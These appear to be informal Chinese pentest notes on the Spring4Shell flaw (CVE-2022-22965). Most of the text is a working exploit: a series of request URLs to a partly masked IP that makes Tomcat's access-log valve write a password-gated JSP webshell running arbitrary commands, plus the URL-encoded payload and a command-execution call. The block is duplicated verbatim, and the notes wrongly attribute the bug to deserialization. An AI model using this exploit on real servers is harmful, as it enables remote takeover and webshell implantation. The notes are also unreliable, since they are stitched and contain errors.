SpEL是基于spring的一个表达式语言
https://www.secpulse.com/archives/148624.html
springshell
spring
artsploit
spring jolokia RCE
spring-core-rce CVE-2022-22965
2022年3月29日
由于 SerializationUtils#deserialize 基于 Java 的序列化机制,可导致远程代码执行 (RCE),
使用Spring框架的 JDK9及以上版本皆有可能受到影响
可写入webshell以及命令执行
通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。
利用条件
1、Apache Tomcat作为Servlet容器;
2、使用JDK9及以上版本的Spring MVC框架;
3、Spring框架以及衍生的框架
spring-beans-*.jar文件或者存在CachedIntrospectionResults.class
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
http://xxx.xxx.230.165:27379/?shell.jsp
访问地址http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
替换pattern后的内容为
%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
suffix:%>//
c1:Runtime
c2:<%
出现OK后,就可以访问http://xxx.xxx.230.165:27379/shell.jsp?pwd=t&cmd=whoami,即可执行任意代码
spring-core-rce CVE-2022-22965
2022年3月29日
由于 SerializationUtils#deserialize 基于 Java 的序列化机制,可导致远程代码执行 (RCE),
使用Spring框架的 JDK9及以上版本皆有可能受到影响
可写入webshell以及命令执行
通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。
利用条件
1、Apache Tomcat作为Servlet容器;
2、使用JDK9及以上版本的Spring MVC框架;
3、Spring框架以及衍生的框架
spring-beans-*.jar文件或者存在CachedIntrospectionResults.class
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
http://xxx.xxx.230.165:27379/?shell.jsp
访问地址http://xxx.xxx.230.165:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
替换pattern后的内容为
%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
suffix:%>//
c1:Runtime
c2:<%
出现OK后,就可以访问http://xxx.xxx.230.165:27379/shell.jsp?pwd=t&cmd=whoami,即可执行任意代码
CVE-2022-22965(Spring4Shell或SpringShell)是来自VMware的一种广泛使用的开源Java框架Spring Framework中的远程代码执行漏洞,
以上面提到的Log4Shell漏洞命名。
一旦攻击者实现了远程代码执行,就可以安装恶意软件,
或者利用受影响的服务器作为初始立足点,以提升权限,进而攻击整个系统。
用于部署加密货币挖矿软件,并且用在了使用臭名昭著的Mirai恶意软件的僵尸网络。
swaggerAPI